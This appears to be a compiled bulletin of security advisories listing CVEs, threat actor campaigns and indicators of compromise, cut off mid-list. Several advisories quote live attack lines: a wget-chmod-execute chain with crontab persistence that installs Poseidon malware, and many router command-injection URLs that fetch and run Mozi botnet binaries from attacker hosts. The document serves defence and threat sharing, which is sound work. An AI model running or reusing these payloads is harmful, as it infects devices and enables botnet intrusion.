Security Update for Wordpress Plugin

A SQL Injection vulnerability has been discovered in the LearnPress – WordPress LMS Plugin via the 'c\_fields' parameter of the /wp-json/lp/v1/courses/archive-course REST API endpoint. Update to version 4.2.7.1, or a newer patched version.

CVE: CVE-2024-8529 (Critical)

Security Update for Wordpress Plugin

A SQL Injection vulnerability has been discovered in the LearnPress – WordPress LMS Plugin via the 'c\_only\_fields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint. Update to version 4.2.7.1, or a newer patched version.

CVE: CVE-2024-8522 (Critical)

Security Updates for Ivanti

Ivanti has released updates for Ivanti Endpoint Manager 2024 and 2022 SU6 which addresses multiple vulnerabilities. Successful exploitation could lead to unauthorized access to the EPM core server.

CVE: CVE-2024-32840 (Critical), CVE-2024-32842 (Critical), CVE-2024-32843 (Critical), CVE-2024-32845 (Critical), CVE-2024-32846 (Critical), CVE-2024-32848 (Critical), CVE-2024-34779 (Critical), CVE-2024-34783 (Critical), CVE-2024-34785 (Critical), CVE-2024-29847(Critical)

Security Updates for Azure Stack Hub

Microsoft has released security update for Azure Stack Hub.

CVE: CVE-2024-38220 (Critical)

Vulnerability in WPCOM Member plugin for WordPress

A privilege escalation vulnerability has been discovered in the WPCOM Member plugin for WordPress. All versions up to, and including, 1.5.2.1 are affected.

CVE: CVE-2024-7493 (Critical)

Vulnerability in IBM Product

A critical vulnerability has been discovered in IBM webMethods Integration 10.15. This vulnerability could allow an authenticated user to upload and execute arbitrary files.

CVE: CVE-2024-45076 (Critical)

Vulnerability in Tenda

A stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda O6 V3.0 firmware V1.0.0.7(2054).

CVE ID: CVE-2024-46049 (Critical)

Vulnerability in Tenda

A command injection vulnerability has been discovered in Tenda. The affected version is Tenda FH451 v1.0.0.9.

CVE ID: CVE-2024-46048 (Critical)

Vulnerability in NitroPack

A code injection vulnerability has been discovered in NitroPack. The affected versions are NitroPack: from n/a through 1.16.7.

CVE ID: CVE-2024-43922 (Critical)

Vulnerability in OpenPLC

A stack-based buffer overflow vulnerability has been discovered in the OpenPLC Runtime EtherNet/IP parser functionality of OpenPLC. The affected version is OpenPLC \_v3 b4702061dc14d1024856f71b4543298d77007b88.

CVE ID: CVE-2024-34026 (Critical)

1. **TA-MAW-2024-09-20-017**

It has been observed that malware often spread through spear-phishing emails, where attackers target specific individuals using tailored messages to trick them into clicking malicious links or downloading infected attachments. These emails appear legitimate, often impersonating trusted contacts or organizations. Once opened, the malware can steal data, provide remote access, or further infect the network.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

103.26.10.72

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-20-018**

Presence of malicious IoCs are found in Indian Cyberspace related to SOGU/PlugX and unknown threat actors.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

SOGU/PLUGX

IPs:

64.44.184.105

37.120.239.204

Unknown Threat Actor

IPs:

116.204.211.139

116.204.211.173

116.204.211.193

35.74.172.53

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-09-20-006**

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Malware is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

Common Features of Mythic Malware:

Persistence

Remote access and data theft

Modular architecture and customizable

Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

64.225.100.125

157.245.146.223

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-09-20-008**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domain targeting Critical Sector Entities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* \*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

publications.ltd

tld.publications.ltd

publications.tld.publications.ltd

in.publications.tld.publications.ltd

gov.in.publications.tld.publications.ltd

email.gov.in.publications.tld.publications.ltd

www.email.gov.in.publications.tld.publications.ltd

in.publications.ltd

gov.in.publications.ltd

email.gov.in.publications.ltd

www.email.gov.in.publications.ltd

email-gov-in.a5e1.com

email.gov.in.briefreport.nl

\*.briefreport.nl

www.www.cms.gov.indianrail.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-09-20-004**

It has been observed that threat actors are exploiting an OS command injection vulnerability (CVE-2024-8190) in Ivanti CSA, a web-based platform, that offers secure access and management for cloud services, enabling users to connect to internal network resources via a controlled gateway. Successful exploitation of vulnerability allows threat actors with administrative privileges to gain unauthorized access and execute commands remotely on a vulnerable Ivanti Cloud Service Appliance.

Affected Systems: \*Ivanti Cloud Service Appliance (CSA) product, affecting versions 4.6 and earlier.

(\*Since Ivanti CSA 4.6 has reached its end-of-life, it will no longer receive updates.)

Attack vector:

Command Injection

Insufficient Input Validation

Cross-site Request Forgery

Detection of compromise device:-

Check the login detail in (/var/log/messages) for failed and successful logon.

1. **TA-TAG-2024-09-23-001**

Reference is made to an earlier advisory on Threat Actor RedJuliett, a state-sponsored threat actor who has been linked to a cyber espionage campaign with Advisory No: TA-TAG-2024-08-27-002 and Subject: Cyber Security Advisory: RedJuliett Threat Actor Campaign dated 27 Aug 2024.

Please find additional IOC in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

163.47.36.33

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-09-23-006**

It has been observed that RansomHub Ransomware, operating as a Ransomware-as-a-Service (RaaS), has exploited the Remote Code Execution (RCE) vulnerability (CVE-2023-3519) and elevation of privilege vulnerability (CVE-2020-1472), using like phishing and password spraying methods for initial access. Once the adversary breaches targeted networks, employ tactics like renaming ransomware executables to avoid detection and disabling antivirus software with legitimate tools such as TDSSKiller and LaZagne. A new locker variant from RansomHub is specifically designed to target SFTP servers. Unlike previous variants, this one does not encrypt files on the local system. Instead, it connects to a user-specified remote SFTP server and recursively encrypts files within designated directories. This locker is compiled for Windows systems and targets ESXi, NAS, and various SFTP servers. Similar to earlier RansomHub lockers, it requires a password for execution.

Affected Systems: VMware ESXi, NAS, and various SFTP servers

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

HASH:

2d823c8b6076e932d696e8cb8a2c5c5df6d392526cba8e39b64c43635f683009

467e49f1f795c1b08245ae621c59cdf06df630fc1631dc0059da9a032858a486

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TTA-APT-2024-09-24-007**

APT36, also known as Transparent Tribe, is using CrimsonRAT (Remote Access Trojan) malware to compromise systems. The malware allows remote control of infected systems, steal sensitive information, log keystrokes, capture screenshots and exfiltrate data.

Common Features of APT36 Threat Actor:

Spear-Phishing (highly targeted and convincing phishing emails to trick victims)

Information Theft (documents, credentials, and personal data)

Remote Access

Credential Harvesting

Data Exfiltration

Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

5.189.140.142

109.199.108.1

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-RAN-2024-09-24-009**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.  The email contains an archive file named "Drive to Join Membership of DCMAF.zip" in the attachment. Upon clicking the archive file, it extracts "Drive to Join Membership of DCMAF.desktop" which is a malicious file. On clicking the "Drive to Join Membership of DCMAF.desktop" file, a PDF file named "Drive to Join Membership of DCMAF.pdf" is downloaded from Google Drive and opened. This file is not malicious, but it is used as a decoy to convince the victim of the legitimacy of the mail. Simultaneously, multiple commands get executed in the background.

In the background, it executes commands:-

* wget 157.245.139.146/trs-clip -O ~/.local/share/trs-clip && chmod +x ~/.local/share/trs-clip; ~/.local/share/trs-clip >/dev/null 2>&1 & sleep 5; wget 159.89.165.86/debian-clip -O ~/.local/share/debian-clip && chmod +x ~/.local/share/debian-clip; ~/.local/share/debian-clip
* echo '@reboot ~/.local/share/debian-clip'>>/dev/shm/myc.txt;echo '@reboot ~/.local/share/trs-clip'>>/dev/shm/myc.txt; crontab -u `whoami`
* /dev/shm/myc.txt; rm /dev/shm/myc.txt;~/.local/share/debian-clip; rm /dev/shm/myc.txt;~/.local/share/trs-clip &

These commands downloads 2 ELF Linux Poseidon Malware files namely "trs-clip" and "debian-clip" and saves them in the local directory, changes their permission and executes them. The execution of these files creates connection with the C2 server IP.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

2ac515834836136f354870ca6dee189a

8fe0556eace5bc94817dc9a98f4120fd

d29b4d4b65d818a4bdd71e50b9b85e38b9ce88b6

d90bfcde6de342874c5ea3ad2ab4baae6505f3e6

72279b366873178922ca9608f9543c6d7ff3a6d04cff14654e52be88510faceb

a044db3ade01c5c7c048bba31aaef78148e5d12900a6d4677317d74ddbf38b6a

**Domain:**

InfoDesk-Wing.in

**IPs:**

195.35.38.44

157.245.139.146

159.245.139.146

142.250.179.202

159.89.165.86

108.177.121.113

**Filenames:**

Drive to Join Membership of DCMAF.zip

Drive to Join Membership of DCMAF .desktop

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-09-24-010**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains an attached HTML (Hyper Text Markup Language) file named as "38.p.m.html" & "29.p.m.html". The HTML file contains a button named as "EFT-Receipt.Pdf". On clicking the button, it opens a mimicked/cloned phishing page which has been flagged as a phishing link.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

5119611f524e6813b7d7dc3ba1a01174

5e8385e21d5645574201ffa569c33d2a

d2fa3ffeecda2f90a4c342d6b377aab2996ff0cc

fbe523b427e06f998d4ea0f29bba864539478495

cd00f338b571cdc2d563ed1b5ff4a9596de0bbbee5a5b9819be286ed3dfc9b5d

72a5c68c3865e222dfc88397aede6e8dbc86d3ba09b9096710d22359aefe35d9

Sender Email Address:

dougiethebrush@live.co.uk

ruthfarrelly@hotmail.com

IPs:

204.79.197.212

Filenames:

38.p.m.html

29.p.m.html

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-24-020**

It has been observed that Android Remote Access Trojans (RATs), the malicious software designed to remotely control and monitor Android devices, can access sensitive information, such as contacts, messages, emails, and even capture keystrokes and screenshots. Adversaries can also exploit device functionalities, including the camera and microphone, posing significant privacy and security threats.

Common Features of Android RATs:

Remote Control

Data Theft (contacts, messages, and call logs)

Surveillance (use of camera and microphone)

Keylogging

File Manipulation

Recent Commad & Control (C2) server IP along with associated domain of Android RAT malware deployed by APT36 threat actor are as follows:

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:-

134.255.183.33

Domain:

downlaods.org

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-09-24-011**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

support-panel.in

serviceonline.bihar.gov.in.inbex.site

crsorgi.gov.in.inbex.site

bankofbaroda.e-nidhi.in

bpsc.e-nidhi.in

ftp.e-nidhi.in

incometax.e-nidhi.in

indiapost.gov.in.e-nidhi.in

irctc.gov.co.in.e-nidhi.in

mail.e-nidhi.in

mes.gov.in.e-nidhi.in

mha.gov.in.e-nidhi.in

ns.e-nidhi.in

patna.secretariat.e-nidhi.in

ssc.nic.in.e-nidhi.in

upsssc.e-nidhi.in

\*.e-nidhi.in

\*.inbex.site

\*.gov.in.webindexes.info

email.gov.in.briefreport.nl

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-24-019**

Presence of malicious IoCs are found in Indian Cyberspace related to various malwares i.e. SocGholish, ShadowPad & Quasar RAT malware.

SocGholish: SocGholish is primarily known for its “drive-by” download style of initial infection. Such attacks employ malicious JavaScript, which is injected into compromised, but otherwise legitimate, websites.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

170.130.55.151

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

ShadowPad: It stealthily infiltrates target systems and provides adversaries with the ability to gather data and control the compromised systems remotely.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

89.38.131.70

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Quasar RAT Malware: Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

94.156.68.4

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-09-24-021**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

120.85.114.134

108.62.98.24

106.105.207.208

120.61.246.148

120.86.255.35

175.107.3.87

117.222.253.68

23.228.72.18

45.66.231.148

120.61.251.127

103.199.180.146

38.206.130.202

103.216.179.159

38.200.4.185

103.208.230.253

182.121.106.86

178.141.175.229

103.19.190.93

117.215.223.125

103.200.86.149

117.248.170.32

111.40.115.43

193.32.126.226

112.94.99.251

117.198.11.172

103.203.72.147

37.27.182.40

38.206.0.162

112.94.96.208

182.126.114.65

150.246.185.107

180.245.148.23

23.228.122.107

103.14.226.142

103.161.34.97

59.96.200.148

117.242.196.71

45.202.35.94

202.170.201.238

113.77.224.108

220.158.159.91

81.0.248.203

117.222.116.134

175.107.3.223

120.85.143.178

59.96.106.17

193.84.71.195

83.222.191.62

103.114.220.170

122.171.18.227

60.248.227.197

176.97.210.238

117.255.176.27

172.90.128.11

220.158.159.183

108.62.1.20

115.48.156.144

112.94.97.137

180.94.34.132

141.98.11.84

98.159.234.89

192.142.227.25

95.214.55.43

178.72.71.182

220.158.159.188

61.152.154.48

182.127.122.17

154.216.18.19

120.86.236.22

61.152.197.48

170.231.48.3

103.197.115.159

59.93.149.153

182.120.49.163

120.85.114.206

59.183.140.182

117.223.10.13

154.216.17.169

120.61.92.58

1.189.12.130

116.99.36.102

103.247.6.77

27.43.207.74

185.152.32.68

47.236.98.199

38.205.0.231

120.85.118.31

**URLs:-**

http://182.126.114.65:52484/Mozi.m

http://61.152.154.48:57525/Mozi.a

http://117.242.196.71:37848/Mozi.m

http://182.127.122.17:55814/Mozi.m

http://45.66.231.148/r

http://117.215.223.125:43072/Mozi.m

http://220.158.159.91:44925/Mozi.m

http://117.222.253.68:57157/Mozi.a

http://116.99.36.102:56779/Mozi.a

http://117.223.10.13:34222/Mozi.m

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F45.66.231.148%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

http://103.203.72.147:47908/Mozi.m

http://220.158.159.188:60718/Mozi.m

http://113.77.224.108:48045/Mozi.m

http://193.84.71.195/bins/x86

http://45.202.35.94/tplink

http://bins.rootwho.su/sshdbot

http://154.216.17.169/t

http://59.183.140.182:58286/Mozi.m

http://115.48.156.144:38259/Mozi.m

http://175.107.3.87:49102/Mozi.m

http://103.199.180.146:58500/Mozi.m

http://120.61.92.58:49959/Mozi.m

http://117.198.11.172:60448/Mozi.m

http://103.200.86.149:56684/Mozi.m

http://178.141.175.229:45511/Mozi.m

http://103.197.115.159:49338/Mozi.m

http://154.216.18.19/geo

http://103.14.226.142/shk

http://103.216.179.159:40029/Mozi.m

http://175.107.3.223:33689/Mozi.m

http://120.61.251.127:58822/Mozi.m

https://tinyurl.com/2rh4n7cf

http://117.222.197.178:49978/Mozi.a

http://220.158.159.183:57449/Mozi.m

http://117.255.176.27:37121/Mozi.m

http://117.251.87.28/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60wget+-O-+http%3A%2F%2F23.228.72.18%2Flink%7Csh%3B%60)

http://202.170.201.238:41592/Mozi.m

http://182.120.49.163:32863/Mozi.m

http://59.93.149.153:35872/Mozi.m

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E`cd+/tmp;+rm+-rf+sshdbot;+wget+http://bins.rootwho.su/sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot`

http://180.94.34.132:39726/Mozi.m

http://172.20.25.210/setup.cgi?next\_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+/tmp/\*;wget+http://103.200.86.149:56684/Mozi.m+-O+/tmp/netgear;sh+netgear&amp;curpath=/&amp;currentsetting.htm=1

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp%3B+rm+-rf+shk%3B+wget+http://176.97.210.238/shk%3B+chmod+777+shk%3B+./shk+tplink%3B+rm+-rf+shk%60)

http://103.114.220.170:43116/Mozi.m

http://172.90.128.11:52579/Mozi.m

http://182.121.106.86:38053/Mozi.m

http://117.222.116.134:40125/Mozi.a

http://103.208.230.253:35243/Mozi.m

http://117.248.170.32:38891/Mozi.m

http://103.161.34.97/ohshit.sh

http://23.228.72.18/link

http://176.97.210.238/shk

http://59.96.106.17:58596/Mozi.m

http://1.189.12.130:49910/Mozi.m

http://59.96.200.148:48702/Mozi.m

**Signatures:**

/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.253.68:57157/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.116.134:40125/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.96.106.17:58596/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://1.189.12.130:49910/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/login.cgi?cli=aa%20aa%27;wget%20https://tinyurl.com/2rh4n7cf%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$

http://172.20.25.210/setup.cgi?next\_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+/tmp/\*;wget+http://103.200.86.149:56684/Mozi.m+-O+/tmp/netgear;sh+netgear&amp;curpath=/&amp;currentsetting.htm=1

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F45.66.231.148%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp%3B+rm+-rf+shk%3B+wget+http://176.97.210.238/shk%3B+chmod+777+shk%3B+./shk+tplink%3B+rm+-rf+shk%60)

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E`cd+/tmp;+rm+-rf+sshdbot;+wget+http://bins.rootwho.su/sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot`

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;operation=write&amp;amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

http://117.251.87.28/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60wget+-O-+http%3A%2F%2F23.228.72.18%2Flink%7Csh%3B%60)

/shell?cd+/tmp;rm+-rf+\*;wget+http://61.152.154.48:57525/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://103.199.180.146:58500/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F23.228.72.18%2Flink%7Csh%3B%60)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-09-25-008**

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Malware is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

**Common Features of Mythic Malware:**

* Persistence
* Remote access and data theft
